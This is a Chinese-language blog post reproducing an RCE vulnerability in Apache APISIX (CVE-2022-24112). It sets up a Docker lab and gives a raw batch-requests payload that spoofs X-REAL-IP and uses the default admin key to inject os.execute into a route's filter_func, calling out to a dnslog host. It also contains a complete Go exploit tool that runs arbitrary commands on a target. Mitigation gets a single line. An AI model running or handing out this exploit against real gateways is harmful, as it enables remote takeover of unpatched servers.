Post

Apache Apisix(CVE-2022-24112)漏洞复现

漏洞介绍

Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。

漏洞危害

RCE

漏洞原理

Apache APISIX 中存在安全漏洞,该漏洞源于产品的 batch-requests 插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin Api 的限制。 以下产品及版本受到影响:Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 ),Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本 (不包含 2.10.4)。

环境搭建

根据 Apache Apisix上的手册搭建测试环境,修改 docker-compose.yml 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: "3"

services:
  apisix:
    image: apache/apisix:2.12.1-alpine
    restart: always
    volumes:
      - ./apisix_log:/usr/local/apisix/logs
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ##network_mode: host
    ports:
      - "9080:9080/tcp"
      - "9091:9091/tcp"
      - "9443:9443/tcp"
      - "9092:9092/tcp"
    networks:
      apisix:

  etcd:
    image: bitnami/etcd:3.4.15
    restart: always
    volumes:
      - etcd_data:/bitnami/etcd
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
    networks:
      apisix:

networks:
  apisix:
    driver: bridge
volumes:
  etcd_data:
    driver: local

之后开启 batch-requests 插件,即在 /example/apisix_conf/config.yaml 文件末尾添加:

1
2
plugins:
  - batch-requests

之后执行命令:docker-compose up -d 构建环境。

计算机 IP
Kali 192.168.174.128
Ubuntu 192.168.174.141
Victim(Docker) 192.168.80.2

等待一段时间,访问http://192.168.80.2:9080/即可看到一个 404 页面,说明 apisix 服务已成功启动。

1

漏洞复现

根据入门手册上的内容可以知道,Apache APISIX 提供了强大的 Admin APIDashboard 可供我们使用,不过在构建应用时将 Dashboard 去掉了,所以在本文中,我们使用 Admin API 来做演示。

它的工作原理是通过创建一个 Route 并与上游服务(通常也被称为 Upstream 或后端服务)绑定,当一个 请求(Request) 到达 Apache APISIX 时,Apache APISIX 就会明白这个请求应该转发到哪个上游服务中。

所以大致步骤分为:

  1. 创建路由
  2. 绑定路由和上游服务

不过,batch-requests 插件可以一次接受多个请求并以 http pipeline 的方式在网关发起多个 http 请求,合并结果后再返回客户端,这在客户端需要访问多个接口时可以显著地提升请求性能。

因此合并发的包为:

1
2
3
4
5
6
7
8
POST /apisix/batch-requests HTTP/1.1
Host: 192.168.80.2:9080
User-Agent: Go-http-client/1.1
Content-Length: 450
Accept-Encoding: gzip, deflate
Connection: close

{"headers":{"Content-Type":"application/json", "X-REAL-IP": "127.0.0.1"}, "timeout": 500, "pipeline":[{"method": "PUT", "path": "/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/isok\", \r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl http://mhyet2.dnslog.cn'); return true end\"}"}]}

2

之后访问 http://81.71.7.8:9080/isok 即可执行命令。

漏洞验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main

import (
	"bytes"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"strings"
	"time"
)

const (
	admin_key  = "edd1c9f034335f136f87ad84b625c8f1"
	real_ip    = "127.0.0.1"
	route_path = "/apisix/admin/routes/index?api_key=" + admin_key
)

func usage() {
	fmt.Fprintln(os.Stderr, `Usage: cve-2022-24112 -t [target] -c [command]`)
}

func check(err error) {
	if err != nil {
		log.Fatalln(err)
	}
}

func genReqBody(cmd string, exec_path string) string {
	payload := fmt.Sprintf("{\"headers\":{\"Content-Type\":\"application/json\", \"X-REAL-IP\": \"%s\"}, \"timeout\": 500, \"pipeline\":[{\"method\": \"PUT\", \"path\": \"%s\", \"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"%s\\\", \\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('%s'); return true end\\\"}\"}]}", real_ip, route_path, exec_path, cmd)
	return payload
}

func registerRoute(url string, reqBody string) string {
	url = url + "/apisix/batch-requests"
	jasonPayload := []byte(reqBody)
	req, err := http.NewRequest("POST", url, bytes.NewBuffer(jasonPayload))
	check(err)
	client := &http.Client{}
	resp, err := client.Do(req)
	check(err)
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	check(err)
	return string(body)
}

func exploit(url string, reqBody string, path string) {
	resp := registerRoute(url, reqBody)
	if strings.Contains(resp, "\"reason\":\"OK\"") {
		fmt.Println("successfully registered route")
		time.Sleep(time.Second * 2)
		fmt.Println("execute command.")
		invoke(url + path)
	} else {
		fmt.Println("failed")
	}
}

func invoke(url string) {
	resp, err := http.Get(url)
	check(err)
	body, err := ioutil.ReadAll(resp.Body)
	check(err)
	fmt.Println("output >>", string(body))
}

func main() {
	var (
		t string
		c string
	)
	flag.StringVar(&t, "t", "", "")
	flag.StringVar(&c, "c", "", "")
	flag.Usage = usage
	flag.Parse()

	if len(t) == 0 || len(c) == 0 {
		usage()
		os.Exit(1)
	}
	// os.Setenv("HTTP_PROXY", "127.0.0.1:8080")
	path := "/isok"
	body := genReqBody(c, path)
	exploit(t, body, path)
}

修复建议

升级最新版本。

Ref.

This post is licensed under CC BY 4.0 by the author.